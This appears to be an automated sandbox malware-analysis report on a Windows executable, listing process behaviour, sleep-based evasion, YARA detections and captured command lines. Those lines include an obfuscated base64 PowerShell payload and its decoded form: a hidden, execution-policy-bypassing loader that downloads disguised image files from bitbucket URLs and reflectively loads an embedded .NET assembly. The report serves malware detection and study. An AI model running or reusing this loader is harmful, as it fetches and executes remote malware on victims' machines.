Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1556	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1715	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4992	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4355	Jump to behavior

Source: C:\Users\user\Desktop\0XVZC3kfwL.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_0-2513

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4676	Thread sleep count: 1556 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4676	Thread sleep count: 1715 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4508	Thread sleep count: 92 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 964	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5628	Thread sleep count: 4992 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5628	Thread sleep count: 4355 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5776	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5364	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5724	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\0XVZC3kfwL.exe

Code function: 0_2_00007FF681C22034 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,

0_2_00007FF681C22034

Source: C:\Users\user\Desktop\0XVZC3kfwL.exe

Code function: 0_2_00007FF681C26710 GetSystemInfo,CreateDirectoryA,RemoveDirectoryA,

0_2_00007FF681C26710

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: powershell.exe, 00000005.00000002.1546060009.000001EEDDF88000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\0XVZC3kfwL.exe

0_2_00007FF681C21D10

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\0XVZC3kfwL.exe	Code function: 0_2_00007FF681C28714 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_00007FF681C28714
Source: C:\Users\user\Desktop\0XVZC3kfwL.exe	Code function: 0_2_00007FF681C28A1E SetUnhandledExceptionFilter,		0_2_00007FF681C28A1E

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_6592.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4640, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6592, type: MEMORYSTR

Bypasses PowerShell execution policy

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gg#ZwBk#GY#a#Bk#GY#ZwBk#C8#d#Bl#HM#d##v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#bgBl#Hc#XwBp#G0#YQBn#GU#Mg#u#Go#c#Bn#D8#MQ#0#DQ#Ng#x#Dc#Mg#x#Cc#L##g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#GI#aQB0#GI#dQBj#Gs#ZQB0#C4#bwBy#Gc#LwBo#Gc#Z#Bm#Gg#Z#Bm#Gc#Z##v#HQ#ZQBz#HQ#LwBk#G8#dwBu#Gw#bwBh#GQ#cw#v#G4#ZQB3#F8#aQBt#GE#ZwBl#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#I##9#C

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gg#ZwBk#GY#a#Bk#GY#ZwBk#C8#d#Bl#HM#d##v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#bgBl#Hc#XwBp#G0#YQBn#GU#Mg#u#Go#c#Bn#D8#MQ#0#DQ#Ng#x#Dc#Mg#x#Cc#L##g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#GI#aQB0#GI#dQBj#Gs#ZQB0#C4#bwBy#Gc#LwBo#Gc#Z#Bm#Gg#Z#Bm#Gc#Z##v#HQ#ZQBz#HQ#LwBk#G8#dwBu#Gw#bwBh#GQ#cw#v#G4#ZQB3#F8#aQBt#GE#ZwBl#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#I##9#C			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image2.jpg?14461721', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.orFAmco/sdaolnwod/rgfd/wgds/gro.tekcubtib//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}"			Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell "$codigo = 'wwbo#gu#d##u#fm#zqby#hy#aqbj#gu#u#bv#gk#bgb0#e0#yqbu#ge#zwbl#hi#xq#6#do#uwbl#gm#dqby#gk#d#b5#f##cgbv#hq#bwbj#g8#b##g#d0#i#bb#e4#zqb0#c4#uwbl#gm#dqby#gk#d#b5#f##cgbv#hq#bwbj#g8#b#bu#hk#c#bl#f0#og#6#fq#b#bz#de#mg#n##o#i##g#c##i##g#c##i##g#c##i##g#c##zgb1#g4#ywb0#gk#bwbu#c##r#bv#hc#bgbs#g8#yqbk#eq#yqb0#ge#rgby#g8#bqbm#gk#bgbr#hm#i#b7#c##c#bh#hi#yqbt#c##k#bb#hm#d#by#gk#bgbn#fs#xqbd#cq#b#bp#g4#awbz#ck#i##n##o#i##g#c##i##g#c##i##g#c##i##g#c##j#b3#gu#ygbd#gw#aqbl#g4#d##g#d0#i#bo#gu#dw#t#e8#ygbq#gu#ywb0#c##uwb5#hm#d#bl#g0#lgbo#gu#d##u#fc#zqbi#em#b#bp#gu#bgb0#ds#i##n##o#i##g#c##i##g#c##i##g#c##i##g#c##j#bz#gg#dqbm#gy#b#bl#gq#t#bp#g4#awbz#c##pq#g#ec#zqb0#c0#ugbh#g4#z#bv#g0#i##t#ek#bgbw#hu#d#bp#gi#agbl#gm#d##g#cq#b#bp#g4#awbz#c##lqbd#g8#dqbu#hq#i##k#gw#aqbu#gs#cw#u#ew#zqbu#gc#d#bo#ds#i##n##o#i##g#c##i##g#c##i##g#c##i##g#c##zgbv#hi#zqbh#gm#a##g#cg#j#bs#gk#bgbr#c##aqbu#c##j#bz#gg#dqbm#gy#b#bl#gq#t#bp#g4#awbz#ck#i#b7#c##d#by#hk#i#b7#c##cgbl#hq#dqby#g4#i##k#hc#zqbi#em#b#bp#gu#bgb0#c4#r#bv#hc#bgbs#g8#yqbk#eq#yqb0#ge#k##k#gw#aqbu#gs#kq#g#h0#i#bj#ge#d#bj#gg#i#b7#c##ywbv#g4#d#bp#g4#dqbl#c##fq#g#h0#ow#g##0#cg#g#c##i##g#c##i##g#c##i##g#c##i#by#gu#d#b1#hi#bg#g#cq#bgb1#gw#b##g#h0#ow#g##0#cg#g#c##i##g#c##i##g#c##i##g#c##i##k#gw#aqbu#gs#cw#g#d0#i#b##cg#jwbo#hq#d#bw#hm#og#v#c8#ygbp#hq#ygb1#gm#awbl#hq#lgbv#hi#zw#v#gg#zwbk#gy#a#bk#gy#zwbk#c8#d#bl#hm#d##v#gq#bwb3#g4#b#bv#ge#z#bz#c8#bgbl#hc#xwbp#g0#yqbn#gu#mg#u#go#c#bn#d8#mq#0#dq#ng#x#dc#mg#x#cc#l##g#cc#a#b0#hq#c#bz#do#lw#v#gi#aqb0#gi#dqbj#gs#zqb0#c4#bwby#gc#lwbo#gc#z#bm#gg#z#bm#gc#z##v#hq#zqbz#hq#lwbk#g8#dwbu#gw#bwbh#gq#cw#v#g4#zqb3#f8#aqbt#ge#zwbl#c4#agbw#gc#pw#x#dq#n##0#de#nw#y#dm#jw#p#ds#dq#k#c##i##g#c##i##g#c##i##g#c##i##g#c##j#bp#g0#yqbn#gu#qgb5#hq#zqbz#c##pq#g#eq#bwb3#g4#b#bv#ge#z#be#ge#d#bh#ey#cgbv#g0#t#bp#g4#awbz#c##j#bs#gk#bgbr#hm#ow#n##o#i##g#c##i##g#c##i##g#c##i##g#c##i#bp#gy#i##o#cq#aqbt#ge#zwbl#ei#eqb0#gu#cw#g#c0#bgbl#c##j#bu#hu#b#bs#ck#i#b7#c##j#bp#g0#yqbn#gu#v#bl#hg#d##g#d0#i#bb#fm#eqbz#hq#zqbt#c4#v#bl#hg#d##u#eu#bgbj#g8#z#bp#g4#zwbd#do#ogbv#fq#rg#4#c4#rwbl#hq#uwb0#hi#aqbu#gc#k##k#gk#bqbh#gc#zqbc#hk#d#bl#hm#kq#7##0#cg#g#c##i##g#c##i##g#c##i##g#c##i##g#cq#cwb0#ge#cgb0#ey#b#bh#gc#i##9#c##jw#8#dw#qgbb#fm#rq#2#dq#xwbt#fq#qqbs#fq#pg#+#cc#ow#g#cq#zqbu#gq#rgbs#ge#zw#g#d0#i##n#dw#p#bc#ee#uwbf#dy#n#bf#eu#tgbe#d4#pg#n#ds#i##k#hm#d#bh#hi#d#bj#g4#z#bl#hg#i##9#c##j#bp#g0#yqbn#gu#v#bl#hg#d##u#ek#bgbk#gu#e#bp#gy#k##k#hm#d#bh#hi#d#bg#gw#yqbn#ck#ow#g##0#cg#g#c##i##g#c##i##g#c##i##g#c##i##k#gu#bgbk#ek#bgbk#gu#e##g#d0#i##k#gk#bqbh#gc#zqbu#gu#e#b0#c4#sqbu#gq#zqb4#e8#zg#o#cq#zqbu#gq#rgbs#ge#zw#p#ds#dq#k#c##i##g#c##i##g#c##i##g#c##i##g#c##aqbm#c##k##k#hm#d#bh#hi#d#bj#g4#z#bl#hg#i##t#gc#zq#g#d##i##t#ge#bgbk#c##j#bl#g4#z#bj#g4#z#bl#hg#i##t#gc#d##g#cq#cwb0#ge#cgb0#ek#bgbk#gu#e##p#c##ew#g#cq#cwb0#ge#cgb0#ek#bgbk#gu#e##g#cs#pq#g#cq#cwb0#ge#cgb0#ey#b#bh#gc#lgbm#gu#bgbn#hq#a##7#c##dq#k#c##i##g#c##i##g#c##i##g#c##i##g#cq#ygbh#hm#zq#2#dq#t#bl#g4#zwb0#gg#i##9#c
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12 function downloaddatafromlinks { param ([string[]]$links) $webclient = new-object system.net.webclient; $shuffledlinks = get-random -inputobject $links -count $links.length; foreach ($link in $shuffledlinks) { try { return $webclient.downloaddata($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image2.jpg?14461721', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imagebytes = downloaddatafromlinks $links; if ($imagebytes -ne $null) { $imagetext = [system.text.encoding]::utf8.getstring($imagebytes); $startflag = '<<base64_start>>'; $endflag = '<<base64_end>>'; $startindex = $imagetext.indexof($startflag); $endindex = $imagetext.indexof($endflag); if ($startindex -ge 0 -and $endindex -gt $startindex) { $startindex += $startflag.length; $base64length = $endindex - $startindex; $base64command = $imagetext.substring($startindex, $base64length); $commandbytes = [system.convert]::frombase64string($base64command); $loadedassembly = [system.reflection.assembly]::load($commandbytes); $type = $loadedassembly.gettype('testpowershell.home'); $method = $type.getmethod('la').invoke($null, [object[]] ('txt.orfamco/sdaolnwod/rgfd/wgds/gro.tekcubtib//:sptth', '0', 'startupname', 'regasm', '0'))}}"
